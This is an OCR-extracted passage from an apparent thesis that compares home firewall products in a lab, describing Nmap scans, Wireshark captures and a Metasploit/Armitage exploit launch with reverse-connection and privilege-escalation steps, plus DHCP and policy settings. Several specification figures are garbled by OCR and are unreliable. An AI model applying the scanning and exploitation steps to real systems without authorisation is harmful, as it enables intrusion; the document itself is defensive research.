Operating temperature: 32°F to 104°F (0°C to 40°C)

Humnidity- 5 to 95% non-condensing

Warranty

Lifetime hardware warranty with advanced replacement included

Figure 3-5 Cisco Meraki MX64 Specifications



3.2.1.6 ArRcADYAN

Arcadyan was established in 2003 and is part of Compal Group, it is incorporated the finest
of Broadband access, Multimedia and Wireless infrastructure into its expertise. This
successful order makes an advanced approach to broadband access technology development.
Arcadyan builds products with the end-user in mind and is dedicated to practising high-
quality technology growth and making sure consumers get a strong and pleasant experience
from their products. Development teams connect with leading industry researchers and
developers, both in-house and external, to produce the best platforms and implementations
for modern value-enhanced revolutions. Arcadyan solutions are designed to improve users’

experience, enable its customers to attain fast time-to-market and persistently competitive.

3.2.1.6.1 ArRCADYAN V9517

Arcadyan V9517 is a multipurpose security device that offers functionalities to address
multiple use-cases. It is suitable for home users and across all industries dependent on the
Arcadyan V9517 to deliver connectivity. Established on various advanced technologies,
leading wireless professional and broadband technologies, blended with industrial
specifications, is to allow users to have better-customised experiences by providing cutting-
edge solutions while assisting customers to quickly launch products to maintain market
competitiveness. Arcadyan VRV9517 has great 4x4 802.11ac Wave 2 Wi-Fi with band
steeringand MU-MIMO it is ready to go out of the box to give you great performance on any

plan.

FEATURES

Quad-Stream AC2350 WiFi - up to 2.33Gbps (600 + 1733 Mbps)*

Next generation Wave 2 WiFi

Multi-User MIMO technology in 5GHz for more throughput with simultansously streamed data for multiple devices
1GHz dual core processor plus additional offload engines and dedicated routing accelerator

Beamforming+ for more reliable connections in 5GHz

Gigabit Internet capable over Ethernet**

DSLTECHNOLOGY
Comply with ITU-T G.993.2 - Annex A with 998 asymmetric band plan and vectoring (profile 8x,12x,17a,30a)
Comply with ITUT G.992.1 (G.dmt), ITU-T G.992.3 (AD5L2), ITU-T G.992.5 ADSL2+ standard.

WIFI TECHNOLOGY

802.11n: up to 450Mbps

802.1ac: up to 1733Mbps

WiFi 4 2560AM (2.4GHz): up to 600Mbps
WiFi 5 10240AM (3GHz) : up to 2167Mbps
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DATA RATE
AC2350 (600 + 1733 Mbps)

WIFI BAND
Simultaneous dual band 2.4 & 5GHz

WIFI STANDARDS
|IEEE*® 302.11 b/g/n 2.4GHz
IEEE® 802.11 a/nfac DGHz

BEAMFORMING
Beamforming+ — Boosts speed, reliability and range of WiFi Connections in 35GHz

MEMORY

312ME DDR 512ME Flash

SECURITY

DMZ

Stateful Packet Inspection Firewa

WiFi Protected Access® (WPAZ, AES and TKIP)

Intrusion Detection and Prevention (DoS, 5¥YN Flood, Ping of Death, Fraggle, LAND, Teardrop, etc.)
Customizable Firewall Security Levels

PHYSICAL SPECIFICATIONS
Dimensions: 265x170x853mm (with stand)
Weight: 335g (device), 1235g (full package)

NUMBER OF ETHERMET PORTS
Four (4) 10/100/1000 Mbps Gigabit Ethernet ports {1 WAN & 3 LAN)

Figure 3-6 Arcadyan V9517 Specifications

3.3 TESTING TOOLS

There are a number of tools available in Kali Linux to induce cyber-attack in our designed lab
(controlled scenario), these tests simulating cyber-attack in our test lab will have threat actors
from the outside zone of the network using threat vector, making its way to threat surface
passively (an attempt to gain or use information but not affect a system) or actively (a direct
attempt to alter a system or affects its operations) reasons. Cyber threat attack surface refers to
the digital and physical vulnerabilities in the hardware and software environment that are

located inside the zone of the test lab.

3.3.1 NMAP

Nmap ("Network Mapper") is a free and open-source network discovery and security auditing
utility. Linux Journal, Info World, LinuxQuestions.Org, and Codetalker Digest all named
Nmap "Security Product of the Year.".
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NMAP is very helpful for managing operations such as network inventory, managing service
upgrade schedules, and monitoring host or service uptime for system administrators and
network administrators. Nmap engages creative methods to discover what hosts are connected
in the network, what services (application name and version) are hosted on that machine, what
operating systems (OS versions) those machines are running, what type of packet
filters/firewalls are in use, and lots of other features are available. It was created to scan huge
networks instantly, but it also works perfectly with individual hosts. Nmap is compatible with
all major operating systems, and binaries for Linux, Windows, and Mac OS X are offered. The
Nmap suite also has an advanced GUI and results viewer called Zenmap. It has a compliant
data transport, redirection, and debugging tool (Ncat), a utility for evaluating scan results

(Ndiff), and a packet generator and response analysis tool (Nping).

Nmap works by sending packets to a network for hosts and services. Once discovered, the
software platform sends queries to target hosts and services to which they respond. Nmap
analyses the response that it receives and uses that information to create a map of the network.
The created map includes detailed information about what each port is doing, and which
application (or what) is using it? how the hosts are connected? whatis and is not making it

through the firewall and listing any security issues that come up.

Nmap uses a script that connects with the whole network, these scripts act as communication
tools between the network hosts and the users. The scripts that Nmap operates are capable of
vulnerability detection, backdoor detection, vulnerability exploitation, and network discovery.

Nmap is an exceptionally effective utility (Kaur & Kaur, 2017).

ISPs can use Nmap to search a system and understand vulnerabilities that exist in that system
which a malicious user can potentially exploit in the target. Nmap is one of the most popular

tools utilized for scanning networks for open ports and other vulnerabilities.

3.3.2 WIRE SHARK

Wireshark is the world’s leading network protocol analyser. It enables and gives visibility to
whatis happening in the network at a microscopic level. Itis the de facto (and often de jure)
standard across many industries and educational institutions. Wireshark success is due to the
contributions of networking experts across the globe. It is the continuation of a project that

started in 1998. Wireshark gives a rich feature set which are given as:
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o Deep inspection of hundreds of protocols

e Live capture and offline analysis

o Standard three-pane packet browser

e Itis multi-platform supports Windows, Linux, OS X, Solaris, FreeBSD, NetBSD, etc.
o Captured traffic can be analysed via a GUI, or via the TTY-mode TShark utility

o Filter search

e Vast VoIP analysis

o Compressed Capture files with gzip

o Live datafrom Ethernet, IEEE 802.11, ATM, Bluetooth, USB, and other platforms
o Colouring options enable for quick, intuitive analysis

e Outputfiles can be extracted to XML, PostScript®, CSV, or plain text

o Decryption support for many protocols, like IPsec, ISAKMP, Kerberos, SNMPv3,
SSL/TLS, WEP, and WPA/WPA2

o Read/write many different captures file formats: tcpdump (libpcap), Pcap NG,
Catapult DCT2000, Cisco Secure IDS iplog, Microsoft Network Monitor, Network
* General Sniffer® (compressed and uncompressed), Sniffer® Pro, and NetXray®,
Network Instruments Observer, NetScreen snoop, Novell LANalyzer, RADCOM
WAN/LAN Analyzer, Shomiti/Finisar Surveyor, Tektronix K12xx, Visual
Networks Visual UpTime, WildPackets EtherPeek/TokenPeek/AiroPeek, etc.

Wireshark collects traffic information from the wire through the network interface. It runs in
promiscuous mode (if required), to inspect and display data related to protocols, IP addresses,
ports, headers, and packet length. The following diagram shows how all the elements work

together to display packet-level information to the user(Bullock & Parker, 2017).
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Figure 3-7 Wireshark Working

Wireshark has Winpcap/libcap driver, which allows NIC to the run-in promiscuous mode; the

only time it doesn’t sniff in promiscuous mode is when the packets are directly, intentionally

destined/generated to.

3.3.3 METASPLOIT (ARMITAGE)

Metasploit Framework is a Ruby-based platform developed to testand execute exploitsagainst
remote hosts. It includes a compilation of security tools that are used for penetration (PEN)
testing, along with a powerful terminal-based console — called msfconsole — which allows
to find targets, launch scans, exploit security flaws, and collect all available data. It is available
for Linux and Windows; MSF is probably one of the most powerful security auditing tools
freely available for the infosec market(Seema & Ritu, 2019). There are a number of MSF
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libraries available in the package that allows running the exploits without having to write

additional code for rudimentary tasks, suchas HTTP requests or encoding of payloads.

Scanningis an importantpartof PEN testing. Like, malicious users go straight into exploitation
as they have already obtained the IP address range used by the organization. This is a critical
mistake as they have not discovered all the live hosts or open services(Seema & Ritu, 2019).
Continuing a penetration test without having a solid understanding of the environment. When
it comes to vulnerability scanning, pen testers often have a range of tools available at their
disposal. Metasploit provides a graphical user interface (GUI) that simplifies the threat vector
for the threat surface, increasing the effectiveness of vulnerability scanners. After the threat
surface is identified the next step is to proceed with the exploit phase. Exploit is sent to target

if successful, a corresponding session is opened.

Armitage is a wonderful Java-based GUI front-end for the Metasploit Framework Its goal is to
help security professionals better understand hacking and help them realize the power and
potential of Metasploit. Armitage is available in Kali-Linux, so all is required to

run Armitage from any command prompt.

rooti@kah ~+ A

Connect...
Host 127.0.0.1
Fort 05553
User msf
Pass Hhkk

| Connect | | Help |

54



Figure 3-8 Armitage

User Interface

Penetration Modules
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ModuleManager || PluginManager
Encod
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Payloads
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Figure 3-9 Metasploit Architecture Infographic

3 .4 DATA COLLECTION AND ANALYSIS

To meet the objectives of the research work, a testbed as given in the design section of this
research is set to conduct the set of tests identified further in the sections. These tests are based
on the principle of ethical hacking i.e., commonly known as white hat hacking as well. Ethical
hacking requires an authorized effort to obtain unauthorized access. In our test lab working
with ethical hacking principles and actions of malicious attackers. These principles help
identify security vulnerabilities using the tools. Using these vulnerability scans further, ethical
hackers will conduct penetration testing.

The result of vulnerability scans and Armitage exploit gives us data from various sources, this
data can later be used to measure the effectiveness of each firewall package. The Nmap data
will provide the network maps which givesthe inside view of the network service, IP and ports

are open which are exploitable. Nmap gives Network map data, helpful in exploiting targeting
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a vulnerable host. Firewall logs enable us to find about the traffic flows. PCAP captures will

help us dissectthe captured traffic packet, look through and inspectthe contents of each packet.

3.4.1 VULNERABILITY SCANNING (NETWORK MAP)

Kali Linux which is an endpoint connected on the outside of our network segment, controlled
by an ethical hacker, attack generated from the outside to a vulnerable endpoint located on the
inside of the network segment, running the NMAP TCP Scan. TCP scans are generally used to
check and complete a three-way handshake between the source and the chosen destination
target host. TCPs scansare very noisy and can be detected with almost ittle to no effort, termed
“noisy” as the services logthe sender IP address and trigger Intrusion Detection Systems . Nmap
scans a network for hosts and services, produces raw IP packets in an advanced way to
determine the software platform transmits data to those hosts and services which then
reply(Shah etal., 2019). Nmap readsand interprets the data response that came back and uses

the information to create a map of the network.

- Zenmap L= [ El o]
Scan Tools Profile Help
Target: | 192.168.1.1-255 tl Profile | Intense scan E‘ lrkln ance:

Command: |nmap-T4 -A-v1921681.1-255

Sevices | | Nmap Output| Ports/ Hosts| Topology | Host Detais | scans|
0S ¢ Host - { Hosts Viewer ’ Fu}!gyg“’ (:mn_;_lﬂ IVSGVE Gvaphic}

Ay 19216811
W 19216814

= Action

— EBICE R
-0 19216818 - — -
{ 19216819 192.168.1.177 [# Interpolation
. 192.168.1.110
102108112 / @ 19218815 S Layout
192.168.1.32 o
< 192168135 / Weighted t‘ &
/ g
L/ 1921681100 / i
/ . 192.168.1.1
P 1921681110 .192 168.1,8 / i O
% 1921681177 / X [ address -
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ol
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Lowerringgap |10
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Figure 3-10 NMAP Network Map
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Nmap gives data output available for analyses in five different formats. The default is
called interactive output, and it is sent to standard output (stdout). There is a normal
output, which is similar to interactive except it displays fewer runtime data and warnings since
it is anticipated to be analysed after the scan completes rather than interactively. Interactive

output is the default and has no associated command-line options.

Nmap TCP SYN process starts by sending a TCP packet with the SYN flag set to port 22, like
any legitimate TCP connection in the first step in the TCP three-way handshake. If the target
portis open, in the second step Scanme sends a reply with the SYN and ACK flags. The targe
would complete the three-way handshake by sending an ACK packet, acknowledged by
SYN/ACK. This step is not required, since the SYN/ACK reply already indicates that the port
is open. If Nmap ended the connection, that involves another handshake process, using FIN
packets instead of SYN. An ACK is another way but still has a step involved. If the SYN/ACK
is ignored, Scanme assumes it dropped and re-send it. There is another better option since we
don'tintend to make a full connection, which is an RST packet. This instructs Scanme to ignore
the attempted connection (reset). Nmap could send this RST packet, but it doesn’t need to. The
OS on the target machine receives the SYN/ACK unexpected as Nmap created the SYN probe
itself. So, the OS reply to SYN/ACK with an RST packet. Most ports in a large scan will be
closed or filtered. The packet traces for those are the same as described for SYN. Only open

ports generate more network traffic.

Scan Tools Profile Help
Target: [ 192.168.168.100 ~|
Command: Inmap -sT -T4 -v -Pn 192.168.168.100
l Hosts Services I Nmap Output Ports /Hosts |Topology ]Host Details ]Scans I
o5 |Host ‘l < (Port 4 IProtJocol 4 |State < IService < IVersion
4  192.168.168.100 - o3 fp open:  {domam

® 8o tcp open http

® s8 tcp open kerberos-sec

@® 135 tcp open msrpc

& 139 tcp open netbios-ssn

@ 389 tcp open Idap

@® 4as tcp % open microsoft-ds

® 464 tep open kpasswdS

(&S] 593 tcp open http-rpc-epmap

@® 636 tcp open Idapssl!

@ 1433 tcp open ms-sql-s

@ 3268 tcp open globalcatLDAP

(&) 3268 tcp open globalcatLDAPss

@ 491549 tcp open unknown

(&) 49155 tcp open unknown

Figure 3-11 NMAP Scan result
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3.4.2 ExpLoIT

Vulnerabilities in the system are already identified using NMAP TCP scan, the step is to
generate an exploit. Armitage uses a dialogue box to launch the exploit. The Armitage exploit
launch dialogue enable configuration options for a module and choose whether to use a reverse
connect payload. Armitage presents options table are customisable. Armitage chooses payload
itself and generally, Armitage will use Meterpreter for Windows targets and a command shell

payload for UNIX targets (Raj & Walia, 2020).

Armitage makes it easy to manage the Meterpreter agent successfully exploiting a host. Hosts
running a Meterpreter payload will have a Meterpreter N menu for each Meterpreter session.
Some exploits result in administrative access to the host. Other times, you need to escalate
privileges yourself. To do this, use the Meterpreter N -> Access -> Escalate Privileges menu.

This will highlight the privilege escalation modules in the module browse.

Armitage logs all console, shell, and event log output, organizes these logs w.r.t date and host.
logs can be found in the ~/. Armitage folder and through GUI browse to View > Reporting >
Activity Logs folder. Armitage saves copies of screenshots and webcam shots in this same

folder. Edit “armitage.log data_here.folder” to redirect log files to another location.

This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dlI A
through the Server Service. This module is capable of bypassing NX on some operating
systems and service packs. The correct target must be used to prevent the Server
Service {(along with a dozen others in the same process) from crashing. Windows XP

taraets seem to handle multinle successful exnloitation events, but 2003 taraets will b

Option & | Value [
LHOST 192.168.95,241 A
LPORT 30580

Proxies

RHOST 192,168.895.166

DDODT AAC b
Targets: | 0 == Automatic Targeting TJ

|| Use areverse connection

|_| Show advanced options

Launch

Figure 3-12 Armitage Exploit dialogue box
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Armitage and Metasploit share a database to track your hosts, services, vulnerabilities,

credentials, loots, and user-agent strings captured by browser exploit modules.

To get this data, go to View > Reporting > Export Data. This option will export data from
Metasploit and create easily parse able XML and tab-separated value (TSV) files.

3.4.3 Pcar

In the test lab Wireshark is configured which captures traffic and gives . pcap” files, i.e.,
record packet data that has been captured from a network. Packet data is recorded in files with
the ““. pcap” file extension andthese filesare very lucrative, usedfor truth-findingand analysing
performance problems and cyberattacks in the network (Banerjee et al., 2010). PCAP file

creates a records network data that you can view through Wireshark.

The Wireshark allows configuring the multi-options for the capture which enables to give the
required filed and optionswhich makes it easy to work and analyse the traffic. There are three
main tabs that offer a range of options i.e., Input, output, and options, if not sure about the

option just let the option be on default mode.

Wireshark gives a deep view of the packet which in our testbed if passes the firewall, can be
analysed which details about the type of packet, give the source and destination protocol and
portto which itis sentto, help analyse in great details. Filters enable to precisely control which
packets are displayed. They can be used to check for the presence of a protocol or field, the value
of a field, or even compare two fields to each other. These comparisons can be combined with

logical operators, like "and" and "or", and parentheses into complex expressions.
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Figure 3-13 Capture Menu

By default, Wireshark’s TCP dissector keep track of each state TCP session and provides further
information when problems orany potential problems are found. When the capture file is opened
analysis is done for each TCP packet. Packets are parsed in the order in which they appear in the
packet list. You can enable ordisable this feature via the “Analyse TCP sequence numbers” TCP

dissector preference.
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Checksum: @0x262f [unverified]
[Checksum Status: Unverified]
Urgent pointer: 0
v Options: (12 bytes), No-Operation (NOP), No-Operation (NOP), Timestamps
» TCP Option - No-Operation (NOP)
» TCP Option - No-Operation (NOP)
» TCP Option — Timestamps: TSval 824635422, TSecr 3249934137
v [SEQ/ACK analysis]

[This is an ACK to the segment in frame: 15]

[The RTT to ACK the segment was: 0.002592000 seconds]
v [TCP Analysis Flagsl
v [Expert Info (Warning/Sequence): Previous segment not captured (common at capture start)]
[Previous segment not captured (common at capture start)]
[Severity level: Warning]
[Group: Sequencel

Figure 3-14 TCP Analysis” packet detail items

TCP Analysis flags are added to the TCP protocol tree under “SEQ/ACK analysis”. Each flag is
described below. Terms such as “next expected sequence number” and “next expected

acknowledgement number”

3.4.4 FIREWALLLOGS

The firewall maintains logs for every traffic flow which passes through it, provided the logging
optionis enabled to capture. Firewall logs data enables, which gives the truth about what traffic
is allowed to pass, and which traffic is restricted and dropped on the basis of security policy
rule configured on the firewall. Firewall logs, give the details of what sort of traffic is dropped,
and help us detect the reason if the traffic is dropped is it due to implicit rule or it is due to
explicitrule? These logs also help understand the policy of the network what sort of traffic is
permitted in / outside, to and from the network, what protocols are allowed, and what is
restricted? Firewalls also have the capability to drop known malicious traffic and logs it by
virtue of its UTM features(Garbis & Chapman, 2021).

The firewall traffic log let the traffic through, a real-time display of active sessions is shown.
If you right-click on a listed session, you can choose to remove that session, remove all
sessions, or quarantine the source address of that session. Right-click on any of the sources
listed and select Drill Down to Details. variety of information can be viewed about the source
address, including traffic destinations, security policies used, and if any threats are linked to
traffic from this address.
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2 [ AddFilter I srinctes thour 24hours &
Source Device Source Interface Destination Destination Interface | Application | Bytes(Sent/Received) | Policy
192.168.100.110 % lan = 93.156.134.124 [ wan1 CTCR/993 1472kB | Internet
192.168.100.110 % lan E554,208.146.168 m wanl [ TCP/443 11.29kB | Internet
192.168.100.111 % lan 19216811012 [@ wan1 " UDP/53 3198 | Internet
192.168.100.110 % lan B104.244.43.7 wan1 (TCP/443  463.47kB Internet
192.168.100.110 % lan E104.244.43.7 @ wan1 CTCP/443  23449kB 1 Internet
192.168.100.110 % lan B104.244.437 @ want CTCP/443  482kB | Internet
192.168.100.110 % lan 192.168.110.30 m wanl . UDP/53 2738 | Internet
192.168.100.110 % lan E572.21.81.200 @ wan1 CTCP/443 9.82kB | Internet
152.168.100.110 % lan 192.168.110.30 wanl " UDP/53 213B | Internet
192.168.100.110 % lan 19216811030 (@ want "UDP/53 2178 | Internet
192.168.100.110 % lan B173194203.125  [@ wanl CTCP/5222 171MB EEEEE  Internet
192.168.100.110 % lan 192.168.110.30 m wanl . UDP/53 1748 | Internet
192.168.100.110 % lan BE65.52.108.76 @ wan1 CTCP/443  203.99KkB B Internet
£ | AddFilter now Sminutes  1hour &
# | @ Date/Time Source Device Destination Application Name | Security Action
1 13:214:32 192.168.100.110 == 54.192.85.134 (d3ijcisde2ziok.cloudfront.net) {HTTPS
2 13:24:30  192.168.100.110 192.168.110.30 'DNS
3 13:24:30  192.168.100.111 E596.45.33.73 & Fortinet-FortiGuard
4 13:21:30 192168100111 E= 208.91.112.195 (fgd 1 fortigate.com) & Fortinet-FortiGuard
5 13:24:30 192.1468.100.111 == 208.91.112.197 (fgd 1. fortigate.com) & Fortinet-FortiGuard
« < |1 E/9 > » [Total:402)] ¥
# 1 Action close
Application Categoryunscanned Date/Time 13:21:32
Destination = 54.192.85.134 (d3ijcis4e2ziok.cloudfront.net) Z Destination Country United States
Destination wanl Destination Port 443
Interface
Duration 7 Level
Log ID 13 Policy 1
Policy Type policy Policy UUID 6e801320-0Obcc-51e6-30fd-%ed5ad5f9830
Protocol tep Protocol Number 6
Received Bytes 540 Received Packets 7
Sent Bytes 1079 Sent Packets 9
Service HTTPS Session ID 581837
Source 192.168.100.110 Source Country Reserved
Source Interface lan Source Port 54693
SrcNATIP 172.20.121.46 Src NAT Port 54693
Sub Type forward Timestamp 2016-04-27,1:21:32 PM
Tran Display snat Virtual Domain root

Figure 3-15Firewall Logs
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Figure 3-16 Traffic data rate
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E= dl-debug.dropbox.com (52.72.155.188)
= webclientshellserver-prod-ceus.cloudapp.net (168.61.167.10)
= exch-cas.fortinet.com (208.91.113.212)
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Figure 3-17 Traffic fromsource
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€ 2 [ Source: 192168100110 [AddFilter | B~ now lhour | 24hours | &

Summary of 192.168.100.110
) 40KB
Bytes (Sent/Received): 296.05kB 0K Bytes Sent
Bytes Received
Bandwidth 317.34kbps 40KB o Hecsten
30KB
Sessions: 50 20KB

10KB
OKB

Time Period : Last 5 Minutes

16:24:30  16:25:00 16:25:30 16:26:00 16:26:30 16:27:00 1627:30 16:28:00 16:28:30 16:29:00

Destinations Applications Countries Threats Policies Domains Categories Source Interfaces Destination Interfaces

Sessions

Policy Source Interface Destination Interface Bytes (Sent/Received)

Internet 23 lan [ wan1 317.34kB | 1

Figure 3-18 Data rate fromsource

3.5 SumMARY

This chapter discussed testing the methods and tools employed to complete the study. The
design section discussed the overall approach, lab setup i.e., endpoints details, firewall

packages, tools for testing and monitoring results involved collecting data to conduct the study.

The tests performed in this chapter resulted in producing various kinds of data in the form of
firewall logs, Nmap producing network map and gives us the vulnerabilities in the system,
Armitage exploited vulnerabilities in the network lab and finally “pcap” file which helped
provide the insightofnetwork traffic per-packetbasis. Further to this data collection, proceeded
to analyse data collected and analyse what traffic made it through the firewall (during testing)
and what traffic is blocked by firewall package i.e., the traffic generated using tools/tasks
performed from outsight endpoint to inside endpoint which traffic flows reached inside
endpointproving the claims made in the specification sheet of the firewall package. The re sults
obtained are presented in chapter 4. The overall study followed the phases set out in Figure 14.
First, a thorough literature review of security provisions in home networks, to identify
vulnerabilities and in the testing phase exploit those vulnerabilities in the network. Secondly,
promoting home network security packages for work remote workforce (WFH employees)
showing how effective firewall packages are protecting against such exploits different ones—

depending on cost and availability of versions and test each one.
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Figure 3-19 Study Plan

The results are in comparison ofthe performance of each product with the manufacturer claims
and compared the performances between each. From the comparative analysis, judgements are
made on the value of these firewall packages which are more suitable for WFH employees as

a product, and recommendations made for security improvement.
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CHAPTER 4

Chapter 4: RESEARCH FINDINGS

4.0 INTRODUCTION

In this research topic, the questions were identified considering the challenges of home users'
network security based on the literature review done in previous chapters, and it was suggested
that home users should seek some help with home network security. When considering this
model, an architectural suggestion was made in which the ISP will come forward to help the
home users, as ISPs are responsible for providinginternetservices and most of the threats come
from the outside of the network through the internet. ISPs will provide a firewall that will
restrict the malicious traffic coming from the outside segment and direct it towards the inside
segment of the home network where home users reside on the network. Since home users don’t
have the knowledge and technical expertise, ISPs will manage their home firewall suite. Also,
economies of scale will procure solutions that provide a secure internet platform. Through our
research, we identified three firewall packages that ISPs can provide to home users. These
firewalls were identified considering the scale of the network available to home users and what
suits them best, i.e., "cost value evaluation." Three packages were identified that are suitable
and were evaluated in our study as per the vendor's specification for features that are suitable
for home users. In this chapter, the observations made during the experiments conducted as per

the design set up in the previous chapter, i.e., chapter 3, are presented.

The first section of this chapter describes the attack samples used to investigate the firewall
feature in accordance with vendor specifications. The subsequent section of this chapter
provides the details of the attack process. Then attacks on the target machine are analyzed, and
observations on the role of the firewall in the network are made. This section will also cover
the test results of the various attacks. The last section will conclude with test results by
responding to research suggestions or questions. The sample attacks are established to observe
the method and techniques as discussed in chapter 3 but are subject to the restrictions of CEH

principles and simulation software restrictions.
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4.1 SEGMENTATION

Segmentation, Segmentation, as the world explains, is to divide or to segregate networks or to
create small networks or sub-networks that are separate from one another. Segmentation is
done to secure the network and it restricts communication among segments. Segmentation can
be done on the per-interface basis of a device, per VLAN basis, type of network connected to
or section of the network that belongs to certain types of users or devices. Policy rules and
addressing can be configured according to the audience available in those segments,
determining what segment of the network it needs access to and to what service it requires
access. These subnetworks can talk to each other as per FW policies and rules, but only certain
rulesallow themto talk to each other. Thisway, policiesare applied to certain sections of these
networks rather than applying overall to one big network or where necessary.

Fortinet offers great flexibility in terms of segmentation and offers various segments in the
form of zonesand zone pairs, which basically allow traffic flow and filter-out traffic based on
these zones and zone pairs. Cisco Meraki also offers good flexibility in terms of segmentation
and works strictly on policies but configuring zones and zone pairs is not straightforward to
configure. The Archadyan only supports 2 segments outside and inside, and there is no
flexibility to add or create further segments, i.e., it contains 1 big network and poses a great

deal of security threat to its users.

Edit Interface

Interface Mame portl (S0:00:00:0 1 :00:00)

Alias Outside
Link Status Up o
Type Physical Interface
Tags
Role & [ LAN - |
WA
Address DrZ
Addressing Undefined » FortiSwitch
IPYMNetwork Mask 172.16.10.1/255.255.255.0

Figure 4-1 Firewall Segment configuration option
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Edit Tag Category

Tag Category default

Allow multiple tag selection @O

Colar % | Change

Tags
H N EEENE
EEEEEEN
Tag Scope EEEENN
Interface | Disable Mandatory EEEN

Device Disable | Mandatory eJaieys|
Address Disable | Mandatory [Leladll

OK Cancel

Figure 4-2 Firewall Segment configuration option ii

Edit Interface

Interface Mame port1d (S0:00:00:01:00:0%)

Alias

Link Status Up @

Type Physical Interface

Estimated Bandwidth €% o Kbps Upstream [a] Kbps Dowvmnstream
Tags

Role € WALA -

© Add Tag Category

Manus

ot °

Obtained IP/MNetmask 132 168 128 .60 255 255 255 .0 [E SIS ISt

Default Gateway 19218681281

Retrieve default gateway from server @O

Distance =]

Crverride internal DHS L =]

Administrative Access

I1Pwa HTTPS HTTP & PING [ FMG-Access
[ carwap S5H ] srirap TELMET
1 FTra [ RADIUS Accounting

[ FortiTelemetry

Figure 4-3 Firewall Segment configuration option iii

4.2 DHCP SCOPE

The DHCP Dynamic Host Configuration Protocol is responsible for allocating IP addresses to
hosts along with many other options. A pool of IP addresses can be defined from where hosts

on the segments can acquire IP addresses. They can also restrict the IP addresses to mac
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addresses so that the only known host can acquire IP addresses and no other host can acquire

the IP addresses. They can also restrict the number of IP addresses in the pool as well.

All firewalls, i.e., Fortinet firewall, Cisco Meraki, and Archadyan have various DHCP server
configurations, but Fortinet and Cisco Meraki have more DHCP options supported and
available, which makes them more secure. Fortinet and Cisco Meraki also support multiple

DHCP scopes, i.e., per each segment. However, Archdyan supports a single DHCP scope.

Edit Interface
[ @QDHCF Serve

Address Range

4 Create New 4 Edit [ Delete

Starting IP End IP
172.16.10.10 172.16.10.15
Metmask 255.255.255.0

Default Gateway Same as Interface IP S«
DNS Server SEINSECE IR VEE  Same as Interface IP Specify

Figure 4-4 DHCP configuration

MAC Reservation + Access Control

4 Create New ¢ Edit T[] Delete = Add from DHCP Client List
MAC Address Actionor IP Description
00:50:00:00:02:00 172.16.10.10 Kali

Unknown MAC Addresses  Assign [P

Figure 4-5 DHCP configuration Mac address binding i
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@ DHCP Server

Address Range

4 Create New | " Edit 1] Delete

Starting IP End IP
10.10.10.10 10.10.10.15
Metmask 255.255.255.0

Default Gateway BEENEESNIEERIEN Specify
DINS Server SEIN ST E RN Same as Interface IP | Specify

Figure 4-6 DHCPscope

MAC Reservation + Access Control

# Create New 4 Edit [0 Delete = Add from DHCP Client List

MAC Address Action or IP Description
50:00:00:04:00:00 10.10.10.10 Win7

Unknown MAC Addresses  Assign IP

Figure 4-7 DHCP configuration MAC address binding ii

I Foriview
' D Refresh | @ Revoke K Reservation~
Network )
85 > Interface Device MAC P Host Information Expires Status
ystem
B Poly & Ot , M Qutside portl) @kai 005000000200 172161010 Hostrame: kali 11172021 2021:28  Leased out
& Secuity Profles , | Enside segmentport?) -~ @winpc 50:0000040000  #1010.0010  VCEMSFT50 Hostame: winpe — 11/10/2020 20:2248  Leasedd out
QL VPN )
& User & Device y

2 Wii & Switch Controller  »

il Log & Report »
€ Monitor v
Routing Monitor

DHCP Monitor

Figure 4-8 DHCP address allocation
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4. 3 POLICIES AND RULES

Policies and rules are the main components of every firewall. These are policies that direct the
firewall to permit or deny any traffic. By default, the rule is to deny all traffic, i.e., to drop
every incomingand outgoing connectionthat passes through these firewalls. These traffic rules
are dependent on the policy and vary according to users and services. Generally, in
environments like home networks, traffic usually flows out, i.e., the request is made from the
inside segment of the firewall. There are firewalls that are stateful in nature but only allow the
returning traffic and maintain the session table to allow the traffic from the session initiated
from the inside segment. In a home network, permit all traffic to flow out, i.e., traffic from the
inside segment to the outside segment, or as per need. This security policy in terms of firewall
rules is based on 5 TUPALS, i.e., what traffic is allowed to pass through the firewall. The same
works for incoming traffic, defined as the traffic that is allowed towards the inside segment
coming from the outside segment/internet. This way, home users can host a website or starta
filesharing server as per their needs. Furthermore, there are other rules that are implicit in

nature and drop all traffic, whether incoming or outgoing.

For our firewall research andevaluation, we allow all traffic from both sides, inside and outside,

to test the feature set of firewalls and determine their effectiveness in protecting.

From our packages, Fortinet and Cisco Meraki offer a wide range of rules. These devices not
only work on 5 TUPALS but are advanced in nature and have an advanced application -based
recognition system. These firewalls not only recognise traffic on the OSI model layer 3 but go
up to the advanced level and recognise traffic on layer 7, which secures the network at the
maximum level, i.e., gives complete control over the traffic that is flowingin and out of the
network. Also, these rulesare flexible and can be time-basedas wellas be enabled and disabled
as per time and need. Archadyan only offers the ability to configure basic policy rules, but it
doesprovide the limited capability of portforwarding, helpinghome users hostwebserversand
FTP servers.
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Figure 4-9 Policy rules 5 TUPAL
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Service +

Action L -lssSyl & DEMY | = LEARM

Firewall / Metwork Options

MAT L o]

IP Pool Configuration Use Outgoing Interface Address U0 N L E0 TTal|=) 2atel]

Security Profiles
Antivirus

web Filter
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Figure 4-10 Policy configuration options



4.4 REACHABILITY AND ACCESS

In a test lab, the first test is to make sure there is reachability amongall the devices, i.e., all
devices are able to send traffic to each other as per our lab topology, as our topology has 2
segments, "inside" representing the home network and "outside,"” which represents the intemet
or segmentthatdoesn’thave permission to initiate malicious traffic, i.e., an attack on the inside
host/home network. Also, we have a firewall in our network that, in-principle, drops all traffic

unless there is a policy that permits the traffic.

The hosts in the test need IP addresses to have reachability. DHCP servers are configured on
the FW to allocate IP addresses. Specific addresses are reserved per mac address. This is a
security feature that helps protect the network; only authorized and known devices will be able
to get the IP addresses. Given are the screenshots of the FW configuration for DHCP
reservation, IP address acquisition, and IP policy to allow traffic between 2 segments, i.e.,

inside and outside, to verify connectivity and security features offered by firewalls.
Given are the addressing detail of the segment representing “outside”:

root@kali:~# ifconfig

ethd: flags=4163<UP,BROADCAST,RUNNING,MULTICAST= mtu 1500
inet 172.16.10.10 netmask 255.255.255.0 broadcast 172.16.10.255
inet6 feBO::7ec:65a5:58a:a0lb prefixlen 64 scopeid @x20<link>
ether 00:50:00:00:02:00 txqueuelen 1000 (Ethernet)
RX packets 207 bytes 12909 (12.6 KiB)
RX errors © dropped © overruns @ frame @
TX packets 236 bytes 14692 (14.3 KiB)

Figure 4-11 HostIPallocation
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4 FortiGate - FortiGate-V! X \ +

€0

(® 172.16.10.1/ng/pagefp/system/interface/ VR neg & =

% KaliLinux * Kali Training *§, Kali Tools % KaliDocs &, Kali Forums % NetHunter [fj Offensive Security & Exploit-DB & GHDB [fjMSFU

